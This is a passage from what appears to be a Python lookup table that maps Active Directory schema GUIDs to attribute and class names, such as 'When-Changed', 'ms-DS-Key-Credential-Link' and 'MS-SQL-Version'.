'3e1ee99c-6604-4489-89d9-84798a89515a': 'ms-DS-AuthenticatedAt-DC', - '72dc918a-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-UnicodeSortOrder', - 'f0bfdefa-3b9d-11d2-90cc-00c04fd91ab1': 'PKI-Max-Issuing-Depth', - 'bf967a77-0de6-11d0-a285-00aa003049e2': 'When-Changed', - '97da709a-3716-4966-b1d1-838ba53c3d89': 'ms-DS-Service-Allowed-To-Authenticate-From', - 'e2bc80f1-244a-4d59-acc6-ca5c4f82e6e1': 'ms-WMI-PolicyTemplate', - '310b55ce-3dcd-4392-a96d-c9e35397c24f': 'ms-DS-Device-Registration-Service-Container', - 'bf967954-0de6-11d0-a285-00aa003049e2': 'Display-Name-Printable', - 'e8b2c971-a6df-47bc-8d6f-62770d527aa5': 'ms-DS-AuthenticatedTo-Accountlist', - '7778bd90-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Clustered', - '1219a3ec-3b9e-11d2-90cc-00c04fd91ab1': 'PKI-Overlap-Period', - 'bf967a78-0de6-11d0-a285-00aa003049e2': 'When-Created', - '5dfe3c20-ca29-407d-9bab-8421e55eb75c': 'ms-DS-Service-TGT-Lifetime', - '9a7ad946-ca53-11d1-bbd0-0080c76670c0': 'DIT-Content-Rules', - '503fc3e8-1cc6-461a-99a3-9eee04f402a7': 'ms-DS-Az-Application-Data', - '7b91c840-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-NamedPipe', - '8447f9f1-1027-11d0-a05f-00aa006c33ed': 'PKT', - 'bf967a79-0de6-11d0-a285-00aa003049e2': 'Winsock-Addresses', - 'b23fc141-0df5-4aea-b33d-6cf493077b3f': 'ms-DS-Assigned-AuthN-Policy-Silo', - '595b2613-4109-4e77-9013-a3bb4ef277c7': 'ms-WMI-PolicyType', - '96bc3a1a-e3d2-49d3-af11-7b0df79d67f5': 'ms-DS-Device-Registration-Service', - 'fe6136a0-2073-11d0-a9c2-00aa006c33ed': 'Division', - 'db5b0728-6208-4876-83b7-95d3e5695275': 'ms-DS-Az-Application-Name', - '8157fa38-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-MultiProtocol', - '8447f9f0-1027-11d0-a05f-00aa006c33ed': 'PKT-Guid', - 'bf967a7a-0de6-11d0-a285-00aa003049e2': 'WWW-Home-Page', - '33140514-f57a-47d2-8ec4-04c4666600c7': 'ms-DS-Assigned-AuthN-Policy-Silo-BL', - 'f0f8ff8b-1191-11d0-a060-00aa006c33ed': 'DMD-Location', - '7184a120-3ac4-47ae-848f-fe0ab20784d4': 'ms-DS-Az-Application-Version', - '86b08004-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-SPX', - '19405b96-3cfa-11d1-a9c0-0000f80367c1': 'Policy-Replication-Flags', - '9a9a0221-4a5b-11d1-a9c3-0000f80367c1': 'WWW-Page-Other', - '164d1e05-48a6-4886-a8e9-77a2006e3c77': 'ms-DS-AuthN-Policy-Silo-Members', - '45fb5a57-5018-4d0f-9056-997c8c9122d9': 'ms-WMI-RangeParam', - '7c9e8c58-901b-4ea8-b6ec-4eb9e9fc0e11': 'ms-DS-Device-Container', - '167757b9-47f3-11d1-a9c3-0000f80367c1': 'DMD-Name', - '33d41ea8-c0c9-4c92-9494-f104878413fd': 'ms-DS-Az-Biz-Rule', - '8ac263a6-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-TCPIP', - '281416c4-1968-11d0-a28f-00aa003049e2': 'Port-Name', - 'bf967a7b-0de6-11d0-a285-00aa003049e2': 'X121-Address', - '11fccbc7-fbe4-4951-b4b7-addf6f9efd44': 'ms-DS-AuthN-Policy-Silo-Members-BL', - '2df90d86-009f-11d2-aa4c-00c04fd7d83a': 'DN-Reference-Update', - '52994b56-0e6c-4e07-aa5c-ef9d7f5a0e25': 'ms-DS-Az-Biz-Rule-Language', - '8fda89f4-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-AppleTalk', - 'bf9679fa-0de6-11d0-a285-00aa003049e2': 'Poss-Superiors', - 'd07da11f-8a3d-42b6-b0aa-76c962be719a': 'x500uniqueIdentifier', - 'cd26b9f3-d415-442a-8f78-7c61523ee95b': 'ms-DS-User-AuthN-Policy', - '6afe8fe2-70bc-4cce-b166-a96f7359c514': 'ms-WMI-RealRangeParam', - 'd2b1470a-8f84-491e-a752-b401ee00fe5c': 'ms-DS-AuthN-Policy-Silos', - 'e0fa1e65-9b45-11d0-afdd-00c04fd930c9': 'Dns-Allow-Dynamic', - '013a7277-5c2d-49ef-a7de-b765b36a3f6f': 'ms-DS-Az-Class-ID', - '94c56394-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Vines', - '9a7ad94c-ca53-11d1-bbd0-0080c76670c0': 'Possible-Inferiors', - 'bf967a7f-0de6-11d0-a285-00aa003049e2': 'X509-Cert', - '2f17faa9-5d47-4b1f-977e-aa52fabe65c8': 'ms-DS-User-AuthN-Policy-BL', - 'e0fa1e66-9b45-11d0-afdd-00c04fd930c9': 'Dns-Allow-XFR', - '6448f56a-ca70-4e2e-b0af-d20e4ce653d0': 'ms-DS-Az-Domain-Timeout', - '9a7d4770-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Status', - 'bf9679fb-0de6-11d0-a285-00aa003049e2': 'Post-Office-Box', - '612cb747-c0e8-4f92-9221-fdd5f15b550d': 'UnixUserPassword', - 'afb863c9-bea3-440f-a9f3-6153cc668929': 'ms-DS-Computer-AuthN-Policy', - '3c7e6f83-dd0e-481b-a0c2-74cd96ef2a66': 'ms-WMI-Rule', - '3a9adf5d-7b97-4f7e-abb4-e5b55c1c06b4': 'ms-DS-AuthN-Policies', - '72e39547-7b18-11d1-adef-00c04fd8d5cd': 'DNS-Host-Name', - 'f90abab0-186c-4418-bb85-88447c87222a': 'ms-DS-Az-Generate-Audits', - '9fcc43d4-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-LastUpdatedDate', - 'bf9679fc-0de6-11d0-a285-00aa003049e2': 'Postal-Address', - '850fcc8f-9c6b-47e1-b671-7c654be4d5b3': 'UidNumber', - '2bef6232-30a1-457e-8604-7af6dbf131b8': 'ms-DS-Computer-AuthN-Policy-BL', - 'e0fa1e68-9b45-11d0-afdd-00c04fd930c9': 'Dns-Notify-Secondaries', - '665acb5c-bb92-4dbc-8c59-b3638eab09b3': 'ms-DS-Az-Last-Imported-Biz-Rule-Path', - 'a42cd510-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-InformationURL', - 'bf9679fd-0de6-11d0-a285-00aa003049e2': 'Postal-Code', - 'c5b95f0c-ec9e-41c4-849c-b46597ed6696': 'GidNumber', - '2a6a6d95-28ce-49ee-bb24-6d1fc01e3111': 'ms-DS-Service-AuthN-Policy', - 'f1e44bdf-8dd3-4235-9c86-f91f31f5b569': 'ms-WMI-ShadowObject', - 'f9f0461e-697d-4689-9299-37e61d617b0d': 'ms-DS-AuthN-Policy-Silo', - '675a15fe-3b70-11d2-90cc-00c04fd91ab1': 'DNS-Property', - '5e53368b-fc94-45c8-9d7d-daf31ee7112d': 'ms-DS-Az-LDAP-Query', - 'a92d23da-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-ConnectionURL', - 'bf9679fe-0de6-11d0-a285-00aa003049e2': 'Preferred-Delivery-Method', - 'a3e03f1f-1d55-4253-a0af-30c2a784e46e': 'Gecos', - '2c1128ec-5aa2-42a3-b32d-f0979ca9fcd2': 'ms-DS-Service-AuthN-Policy-BL', - 'f60a8f96-57c4-422c-a3ad-9e2fa09ce6f7': 'ms-DS-Device-MDMStatus', - 'e0fa1e69-9b45-11d0-afdd-00c04fd930c9': 'Dns-Record', - 'cfb9adb7-c4b7-4059-9568-1ed9db6b7248': 'ms-DS-Az-Major-Version', - 'ae0c11b8-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-PublicationURL', - '856be0d0-18e7-46e1-8f5f-7ee4d9020e0d': 'preferredLanguage', - 'bc2dba12-000f-464d-bf1d-0808465d8843': 'UnixHomeDirectory', - 'b87a0ad8-54f7-49c1-84a0-e64d12853588': 'ms-DS-Assigned-AuthN-Policy', - '6cc8b2b5-12df-44f6-8307-e74f5cdee369': 'ms-WMI-SimplePolicyTemplate', - 'a11703b7-5641-4d9c-863e-5fb3325e74e0': 'ms-DS-GeoCoordinates-Altitude', - 'bf967959-0de6-11d0-a285-00aa003049e2': 'Dns-Root', - 'ee85ed93-b209-4788-8165-e702f51bfbf3': 'ms-DS-Az-Minor-Version', - 'b222ba0e-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-GPSLatitude', - 'bf9679ff-0de6-11d0-a285-00aa003049e2': 'Preferred-OU', - 'a553d12c-3231-4c5e-8adf-8d189697721e': 'LoginShell', - '2d131b3c-d39f-4aee-815e-8db4bc1ce7ac': 'ms-DS-Assigned-AuthN-Policy-BL', - 'dc66d44e-3d43-40f5-85c5-3c12e169927e': 'ms-DS-GeoCoordinates-Latitude', - 'e0fa1e67-9b45-11d0-afdd-00c04fd930c9': 'Dns-Secure-Secondaries', - 'a5f3b553-5d76-4cbe-ba3f-4312152cab18': 'ms-DS-Az-Operation-ID', - 'b7577c94-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-GPSLongitude', - '52458022-ca6a-11d0-afff-0000f80367c1': 'Prefix-Map', - 'f8f2689c-29e8-4843-8177-e8b98e15eeac': 'ShadowLastChange', - '7a560cc2-ec45-44ba-b2d7-21236ad59fd5': 'ms-DS-AuthN-Policy-Enforced', - 'ab857078-0142-4406-945b-34c9b6b13372': 'ms-WMI-Som', - '94c42110-bae4-4cea-8577-af813af5da25': 'ms-DS-GeoCoordinates-Longitude', - 'd5eb2eb7-be4e-463b-a214-634a44d7392e': 'DNS-Tombstoned', - '515a6b06-2617-4173-8099-d5605df043c6': 'ms-DS-Az-Scope-Name', - 'bcdd4f0e-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-GPSHeight', - 'a8df744b-c5ea-11d1-bbcb-0080c76670c0': 'Presentation-Address', - 'a76b8737-e5a1-4568-b057-dc12e04be4b2': 'ShadowMin', - 'f2f51102-6be0-493d-8726-1546cdbc8771': 'ms-DS-AuthN-Policy-Silo-Enforced', - 'bd29bf90-66ad-40e1-887b-10df070419a6': 'ms-DS-External-Directory-Object-Id', - 'f18a8e19-af5f-4478-b096-6f35c27eb83f': 'documentAuthor', - '2629f66a-1f95-4bf3-a296-8e9d7b9e30c8': 'ms-DS-Az-Script-Engine-Cache-Max', - 'c07cc1d0-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Version', - '963d2739-48be-11d1-a9c3-0000f80367c1': 'Previous-CA-Certificates', - 'f285c952-50dd-449e-9160-3b880d99988d': 'ShadowMax', - '0bc579a2-1da7-4cea-b699-807f3b9d63a4': 'ms-WMI-StringSetParam', - '0b21ce82-ff63-46d9-90fb-c8b9f24e97b9': 'documentIdentifier', - '87d0fb41-2c8b-41f6-b972-11fdfd50d6b0': 'ms-DS-Az-Script-Timeout', - 'c57f72f4-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Language', - '963d273d-48be-11d1-a9c3-0000f80367c1': 'Previous-Parent-CA', - '7ae89c9c-2976-4a46-bb8a-340f88560117': 'ShadowWarning', - '2628a46a-a6ad-4ae0-b854-2b12d9fe6f9e': 'account', - 'bf967aa1-0de6-11d0-a285-00aa003049e2': 'Mail-Recipient', - 'b958b14e-ac6d-4ec4-8892-be70b69f7281': 'documentLocation', - '7b078544-6c82-4fe9-872f-ff48ad2b2e26': 'ms-DS-Az-Task-Is-Role-Definition', - '8386603c-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-Description', - 'bf967a00-0de6-11d0-a285-00aa003049e2': 'Primary-Group-ID', - '86871d1f-3310-4312-8efd-af49dcfb2671': 'ShadowInactive', - 'bf967a83-0de6-11d0-a285-00aa003049e2': 'Class-Schema', - 'd9a799b2-cef3-48b3-b5ad-fb85f8dd3214': 'ms-WMI-UintRangeParam', - '59527d0f-b7c0-4ce2-a1dd-71cef6963292': 'ms-DS-Is-Compliant', - '170f09d7-eb69-448a-9a30-f1afecfd32d7': 'documentPublisher', - '8491e548-6c38-4365-a732-af041569b02c': 'ms-DS-Az-Object-Guid', - 'ca48eba8-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Type', - 'c0ed8738-7efd-4481-84d9-66d2db8be369': 'Primary-Group-Token', - '75159a00-1fff-4cf4-8bff-4ef2695cf643': 'ShadowExpire', - 'd1328fbc-8574-4150-881d-0b1088827878': 'ms-DS-Key-Principal-BL', - 'de265a9c-ff2c-47b9-91dc-6e6fe2c43062': 'documentTitle', - 'b5f7e349-7a5b-407c-a334-a31c3f538b98': 'ms-DS-Az-Generic-Data', - 'd0aedb2e-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-InformationDirectory', - '281416d7-1968-11d0-a28f-00aa003049e2': 'Print-Attributes', - '8dfeb70d-c5db-46b6-b15e-a4389e6cee9b': 'ShadowFlag', - '7f561288-5301-11d1-a9c5-0000f80367c1': 'ACS-Policy', - '8f4beb31-4e19-46f5-932e-5fa03c339b1d': 'ms-WMI-UintSetParam', - 'c4a46807-6adc-4bbb-97de-6bed181a1bfe': 'ms-DS-Device-Trust-Type', - '94b3a8a9-d613-4cec-9aad-5fbcc1046b43': 'documentVersion', - 'd31a8757-2447-4545-8081-3bb610cacbf2': 'ms-DS-Behavior-Version', - 'd5a0dbdc-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Database', - '281416cd-1968-11d0-a28f-00aa003049e2': 'Print-Bin-Names', - '03dab236-672e-4f61-ab64-f77d2dc2ffab': 'MemberUid', - '1dcc0722-aab0-4fef-956f-276fe19de107': 'ms-DS-Shadow-Principal-Sid', - '7bfdcb7a-4807-11d1-a9c3-0000f80367c1': 'Domain-Certificate-Authorities', - 'f0d8972e-dd5b-40e5-a51d-044c7c17ece7': 'ms-DS-Byte-Array', - 'db77be4a-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-AllowAnonymousSubscription', - '281416d2-1968-11d0-a28f-00aa003049e2': 'Print-Collate', - '0f6a17dc-53e5-4be8-9442-8f3ce2f9012a': 'MemberNisNetgroup', - '2e899b04-2834-11d3-91d4-0000f87a57d4': 'ACS-Resource-Limits', - 'b82ac26b-c6db-4098-92c6-49c18a3336e1': 'ms-WMI-UnknownRangeParam', - '19195a55-6da0-11d0-afd3-00c04fd930c9': 'Domain-Component', - '69cab008-cdd4-4bc9-bab8-0ff37efe1b20': 'ms-DS-Cached-Membership', - 'e0c6baae-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Alias', - '281416d3-1968-11d0-a28f-00aa003049e2': 'Print-Color', - 'a8032e74-30ef-4ff5-affc-0fc217783fec': 'NisNetgroupTriple', - '11f95545-d712-4c50-b847-d2781537c633': 'ms-DS-Shadow-Principal-Container', - 'b000ea7b-a086-11d0-afdd-00c04fd930c9': 'Domain-Cross-Ref', - '3566bf1f-beee-4dcb-8abe-ef89fcfec6c1': 'ms-DS-Cached-Membership-Time-Stamp', - 'e9098084-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Size', - '281416cc-1968-11d0-a28f-00aa003049e2': 'Print-Duplex-Supported', - 'ff2daebf-f463-495a-8405-3e483641eaa2': 'IpServicePort', - '7f561289-5301-11d1-a9c5-0000f80367c1': 'ACS-Subnet', - '05630000-3927-4ede-bf27-ca91f275c26f': 'ms-WMI-WMIGPO', - '963d2734-48be-11d1-a9c3-0000f80367c1': 'Domain-ID', - '23773dc2-b63a-11d2-90e1-00c04fd91ab1': 'MS-DS-Consistency-Guid', - 'ede14754-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-CreationDate', - '281416ca-1968-11d0-a28f-00aa003049e2': 'Print-End-Time', - 'cd96ec0b-1ed6-43b4-b26b-f170b645883f': 'IpServiceProtocol', - '770f4cb3-1643-469c-b766-edd77aa75e14': 'ms-DS-Shadow-Principal', - '7f561278-5301-11d1-a9c5-0000f80367c1': 'Domain-Identifier', - '178b7bc2-b63a-11d2-90e1-00c04fd91ab1': 'MS-DS-Consistency-Child-Count', - 'f2b6abca-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-LastBackupDate', - '281416cb-1968-11d0-a28f-00aa003049e2': 'Print-Form-Name', - 'ebf5c6eb-0e2d-4415-9670-1081993b4211': 'IpProtocolNumber', - '3e74f60f-3e73-11d1-a9c0-0000f80367c1': 'Address-Book-Container', - '9a0dc344-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Configuration', - 'c294f84b-2fad-4b71-be4c-9fc5701f60ba': 'ms-DS-Key-Id', - 'bf96795d-0de6-11d0-a285-00aa003049e2': 'Domain-Policy-Object', - 'c5e60132-1480-11d3-91c1-0000f87a57d4': 'MS-DS-Creator-SID', - 'f6d6dd88-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-LastDiagnosticDate', - 'ba305f6d-47e3-11d0-a1a6-00c04fd930c9': 'Print-Keep-Printed-Jobs', - '966825f5-01d9-4a5c-a011-d15ae84efa55': 'OncRpcNumber', - 'a12e0e9f-dedb-4f31-8f21-1311b958182f': 'ms-DS-Key-Material', - '80a67e2a-9f22-11d0-afdd-00c04fd930c9': 'Domain-Policy-Reference', - '234fcbd8-fb52-4908-a328-fd9f6e58e403': 'ms-DS-Date-Time', - 'fbcda2ea-ccee-11d2-9993-0000f87a57d4': 'MS-SQL-Applications', - '281416d6-1968-11d0-a28f-00aa003049e2': 'Print-Language', - 'de8bb721-85dc-4fde-b687-9657688e667e': 'IpHostNumber', - '5fd4250a-1262-11d0-a060-00aa006c33ed': 'Address-Template', - '876d6817-35cc-436c-acea-5ef7174dd9be': 'MSMQ-Custom-Recipient', - 'de71b44c-29ba-4597-9eca-c3348ace1917': 'ms-DS-Key-Usage', - 'bf96795e-0de6-11d0-a285-00aa003049e2': 'Domain-Replica', - '6818f726-674b-441b-8a3a-f40596374cea': 'ms-DS-Default-Quota', - '01e9a98a-ccef-11d2-9993-0000f87a57d4': 'MS-SQL-Keywords', - 'ba305f7a-47e3-11d0-a1a6-00c04fd930c9': 'Print-MAC-Address', - '4e3854f4-3087-42a4-a813-bb0c528958d3': 'IpNetworkNumber', - 'bd61253b-9401-4139-a693-356fc400f3ea': 'ms-DS-Key-Principal', - '80a67e29-9f22-11d0-afdd-00c04fd930c9': 'Domain-Wide-Policy', - 'a9b38cb6-189a-4def-8a70-0fcfa158148e': 'ms-DS-Deleted-Object-Lifetime', - 'c1676858-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-Publisher', - '281416d1-1968-11d0-a28f-00aa003049e2': 'Print-Max-Copies', - '6ff64fcd-462e-4f62-b44a-9a5347659eb9': 'IpNetmaskNumber', - '3fdfee4f-47f4-11d1-a9c3-0000f80367c1': 'Application-Entity', - '9a0dc345-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Enterprise-Settings', - '642c1129-3899-4721-8e21-4839e3988ce5': 'ms-DS-Device-DN', - '1a1aa5b5-262e-4df6-af04-2cf6b0d80048': 'drink', - '2143acca-eead-4d29-b591-85fa49ce9173': 'ms-DS-DnsRootAlias', - 'c3bb7054-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-AllowKnownPullSubscription', - '281416cf-1968-11d0-a28f-00aa003049e2': 'Print-Max-Resolution-Supported', - 'e6a522dd-9770-43e1-89de-1de5044328f7': 'MacAddress', - 'dffbd720-0872-402e-9940-fcd78db049ba': 'ms-DS-Computer-SID', - '281416c5-1968-11d0-a28f-00aa003049e2': 'Driver-Name', - '5706aeaf-b940-4fb2-bcfc-5268683ad9fe': 'ms-DS-Enabled-Feature', - 'c4186b6e-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-AllowImmediateUpdatingSubscription', - 'ba305f6f-47e3-11d0-a1a6-00c04fd930c9': 'Print-Max-X-Extent', - 'd72a0750-8c7c-416e-8714-e65f11e908be': 'BootParameter', - '5fd4250b-1262-11d0-a060-00aa006c33ed': 'Application-Process', - '46b27aac-aafa-4ffb-b773-e5bf621ee87b': 'MSMQ-Group', - 'b6e5e988-e5e4-4c86-a2ae-0dacb970a0e1': 'ms-DS-Custom-Key-Information', - 'ba305f6e-47e3-11d0-a1a6-00c04fd930c9': 'Driver-Version', - 'ce5b01bc-17c6-44b8-9dc1-a9668b00901b': 'ms-DS-Enabled-Feature-BL', - 'c458ca80-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-AllowQueuedUpdatingSubscription', - 'ba305f70-47e3-11d0-a1a6-00c04fd930c9': 'Print-Max-Y-Extent', - 'e3f3cb4e-0f20-42eb-9703-d2ff26e52667': 'BootFile', - '649ac98d-9b9a-4d41-af6b-f616f2a62e4a': 'ms-DS-Key-Approximate-Last-Logon-Time-Stamp', - 'd167aa4b-8b08-11d2-9939-0000f87a57d4': 'DS-Core-Propagation-Data', - 'e1e9bad7-c6dd-4101-a843-794cec85b038': 'ms-DS-Entry-Time-To-Die', - 'c49b8be8-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-AllowSnapshotFilesFTPDownloading', - '3bcbfcf5-4d3d-11d0-a1a6-00c04fd930c9': 'Print-Media-Ready', - '969d3c79-0e9a-4d95-b0ac-bdde7ff8f3a1': 'NisMapName', - 'f780acc1-56f0-11d1-a9c6-0000f80367c1': 'Application-Settings', - '50776997-3c3d-11d2-90cc-00c04fd91ab1': 'MSMQ-Migrated-User', - 'f0f8ff86-1191-11d0-a060-00aa006c33ed': 'DS-Heuristics', - '9d054a5a-d187-46c1-9d85-42dfc44a56dd': 'ms-DS-ExecuteScriptPassword', - 'c4e311fc-d34b-11d2-999a-0000f87a57d4': 'MS-SQL-ThirdParty', - '244b296f-5abd-11d0-afd2-00c04fd930c9': 'Print-Media-Supported', - '4a95216e-fcc0-402e-b57f-5971626148a9': 'NisMapEntry', - 'ee1f5543-7c2e-476a-8b3f-e11f4af6c498': 'ms-DS-Key-Credential', - 'ee8d0ae0-6f91-11d2-9905-0000f87a57d4': 'DS-UI-Admin-Maximum', - 'b92fd528-38ac-40d4-818d-0433380837c1': 'ms-DS-External-Key', - '4cc4601e-7201-4141-abc8-3e529ae88863': 'ms-TAPI-Conference-Blob', - 'ba305f74-47e3-11d0-a1a6-00c04fd930c9': 'Print-Memory', - '27eebfa2-fbeb-4f8e-aad6-c50247994291': 'msSFU-30-Search-Container', - '19195a5c-6da0-11d0-afd3-00c04fd930c9': 'Application-Site-Settings', - '9a0dc343-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Queue', - '938ad788-225f-4eee-93b9-ad24a159e1db': 'ms-DS-Key-Credential-Link-BL', - 'f6ea0a94-6f91-11d2-9905-0000f87a57d4': 'DS-UI-Admin-Notification', - '604877cd-9cdb-47c7-b03d-3daadb044910': 'ms-DS-External-Store', - 'efd7d7f7-178e-4767-87fa-f8a16b840544': 'ms-TAPI-Ip-Address', - 'ba305f71-47e3-11d0-a1a6-00c04fd930c9': 'Print-Min-X-Extent', - '32ecd698-ce9e-4894-a134-7ad76b082e83': 'msSFU-30-Key-Attributes', - 'bf967aba-0de6-11d0-a285-00aa003049e2': 'User', - 'fcca766a-6f91-11d2-9905-0000f87a57d4': 'DS-UI-Shell-Maximum', - '9b88bda8-dd82-4998-a91d-5f2d2baf1927': 'ms-DS-Optional-Feature-GUID', - '89c1ebcf-7a5f-41fd-99ca-c900b32299ab': 'ms-TAPI-Protocol-Id', - 'ba305f72-47e3-11d0-a1a6-00c04fd930c9': 'Print-Min-Y-Extent', - 'a2e11a42-e781-4ca1-a7fa-ec307f62b6a1': 'msSFU-30-Field-Separator', - 'ddc790ac-af4d-442a-8f0f-a1d4caa7dd92': 'Application-Version', - '9a0dc347-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Settings', - '167757bc-47f3-11d1-a9c3-0000f80367c1': 'DSA-Signature', - 'fb00dcdf-ac37-483a-9c12-ac53a6603033': 'ms-DS-Filter-Containers', - '70a4e7ea-b3b9-4643-8918-e6dd2471bfd4': 'ms-TAPI-Unique-Identifier', - 'ba305f79-47e3-11d0-a1a6-00c04fd930c9': 'Print-Network-Address', - '95b2aef0-27e4-4cb9-880a-a2d9a9ea23b8': 'msSFU-30-Intra-Field-Separator', - '5df2b673-6d41-4774-b3e8-d52e8ee9ff99': 'ms-DS-Device', - '52458021-ca6a-11d0-afff-0000f80367c1': 'Dynamic-LDAP-Server', - '11e9a5bc-4517-4049-af9c-51554fb0fc09': 'ms-DS-Has-Instantiated-NCs', - '6366c0c1-6972-4e66-b3a5-1d52ad0c0547': 'ms-WMI-Author', - 'ba305f6a-47e3-11d0-a1a6-00c04fd930c9': 'Print-Notify', - 'ef9a2df0-2e57-48c8-8950-0cc674004733': 'msSFU-30-Search-Attributes', - '9a0dc346-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-Link', - '5b47d60f-6090-40b2-9f37-2a4de88f3063': 'ms-DS-Key-Credential-Link', - 'bf967961-0de6-11d0-a285-00aa003049e2': 'E-mail-Addresses', - '6f17e347-a842-4498-b8b3-15e007da4fed': 'ms-DS-Has-Domain-NCs', - 'f9cdf7a0-ec44-4937-a79b-cd91522b3aa8': 'ms-WMI-ChangeDate', - '3bcbfcf4-4d3d-11d0-a1a6-00c04fd930c9': 'Print-Number-Up', - 'e167b0b6-4045-4433-ac35-53f972d45cba': 'msSFU-30-Result-Attributes', - 'bf967a81-0de6-11d0-a285-00aa003049e2': 'Builtin-Domain', - '8e4eb2ec-4712-11d0-a1a0-00c04fd930c9': 'EFSPolicy', - 'ae2de0e2-59d7-4d47-8d47-ed4dfe4357ad': 'ms-DS-Has-Master-NCs', - '90c1925f-4a24-4b07-b202-be32eb3c8b74': 'ms-WMI-Class', - '281416d0-1968-11d0-a28f-00aa003049e2': 'Print-Orientations-Supported', - 'b7b16e01-024f-4e23-ad0d-71f1a406b684': 'msSFU-30-Map-Filter', - '19195a60-6da0-11d0-afd3-00c04fd930c9': 'NTDS-Connection', - 'f2699093-f25a-4220-9deb-03df4cc4a9c5': 'Dns-Zone-Scope-Container', - 'bf967962-0de6-11d0-a285-00aa003049e2': 'Employee-ID', - '80641043-15a2-40e1-92a2-8ca866f70776': 'ms-DS-Host-Service-Account', - '2b9c0ebc-c272-45cb-99d2-4d0e691632e0': 'ms-WMI-ClassDefinition', - 'ba305f69-47e3-11d0-a1a6-00c04fd930c9': 'Print-Owner', - '4cc908a2-9e18-410e-8459-f17cc422020a': 'msSFU-30-Master-Server-Name', - '7d6c0e9d-7e20-11d0-afd6-00c04fd930c9': 'Category-Registration', - 'a8df73ef-c5ea-11d1-bbcb-0080c76670c0': 'Employee-Number', - '79abe4eb-88f3-48e7-89d6-f4bc7e98c331': 'ms-DS-Host-Service-Account-BL', - '748b0a2e-3351-4b3f-b171-2f17414ea779': 'ms-WMI-CreationDate', - '19405b97-3cfa-11d1-a9c0-0000f80367c1': 'Print-Pages-Per-Minute', - '02625f05-d1ee-4f9f-b366-55266becb95c': 'msSFU-30-Order-Number', - 'f0f8ffab-1191-11d0-a060-00aa006c33ed': 'NTDS-DSA', - '696f8a61-2d3f-40ce-a4b3-e275dfcc49c5': 'Dns-Zone-Scope', - 'a8df73f0-c5ea-11d1-bbcb-0080c76670c0': 'Employee-Type', - '7bc64cea-c04e-4318-b102-3e0729371a65': 'ms-DS-Integer', - '50c8673a-8f56-4614-9308-9e1340fb9af3': 'ms-WMI-Genus', - 'ba305f77-47e3-11d0-a1a6-00c04fd930c9': 'Print-Rate', - '16c5d1d3-35c2-4061-a870-a5cefda804f0': 'msSFU-30-Name', - '3fdfee50-47f4-11d1-a9c3-0000f80367c1': 'Certification-Authority', - 'a8df73f2-c5ea-11d1-bbcb-0080c76670c0': 'Enabled', - 'bc60096a-1b47-4b30-8877-602c93f56532': 'ms-DS-IntId', - '9339a803-94b8-47f7-9123-a853b9ff7e45': 'ms-WMI-ID', - 'ba305f78-47e3-11d0-a1a6-00c04fd930c9': 'Print-Rate-Unit', - '20ebf171-c69a-4c31-b29d-dcb837d8912d': 'msSFU-30-Aliases', - '85d16ec1-0791-4bc8-8ab3-70980602ff8c': 'NTDS-DSA-RO', - 'e0fa1e8c-9b45-11d0-afdd-00c04fd930c9': 'Dns-Node', - 'bf967963-0de6-11d0-a285-00aa003049e2': 'Enabled-Connection', - '6fabdcda-8c53-204f-b1a4-9df0c67c1eb4': 'ms-DS-Is-Possible-Values-Present', - '1b0c07f8-76dd-4060-a1e1-70084619dc90': 'ms-WMI-intDefault', - '281416c6-1968-11d0-a28f-00aa003049e2': 'Print-Separator-File', - '37830235-e5e9-46f2-922b-d8d44f03e7ae': 'msSFU-30-Key-Values', - 'bf967a82-0de6-11d0-a285-00aa003049e2': 'Class-Registration', - '3417ab48-df24-4fb1-80b0-0fcb367e25e3': 'ms-DS-Expire-Passwords-On-Smart-Card-Only-Accounts', - '2a39c5b3-8960-11d1-aebc-0000f80367c1': 'Enrollment-Providers', - '1df5cf33-0fe5-499e-90e1-e94b42718a46': 'ms-DS-isGC', - '18e006b9-6445-48e3-9dcf-b5ecfbc4df8e': 'ms-WMI-intFlags1', - 'ba305f68-47e3-11d0-a1a6-00c04fd930c9': 'Print-Share-Name', - '9ee3b2e3-c7f3-45f8-8c9f-1382be4984d2': 'msSFU-30-Nis-Domain', - '19195a5f-6da0-11d0-afd3-00c04fd930c9': 'NTDS-Service', - '65650576-4699-4fc9-8d18-26e0cd0137a6': 'ms-DS-Token-Group-Names', - 'd213decc-d81a-4384-aac2-dcfcfd631cf8': 'Entry-TTL', - 'a8e8aa23-3e67-4af1-9d7a-2f1a1d633ac9': 'ms-DS-isRODC', - '075a42c9-c55a-45b1-ac93-eb086b31f610': 'ms-WMI-intFlags2', - 'ba305f6c-47e3-11d0-a1a6-00c04fd930c9': 'Print-Spooling', - 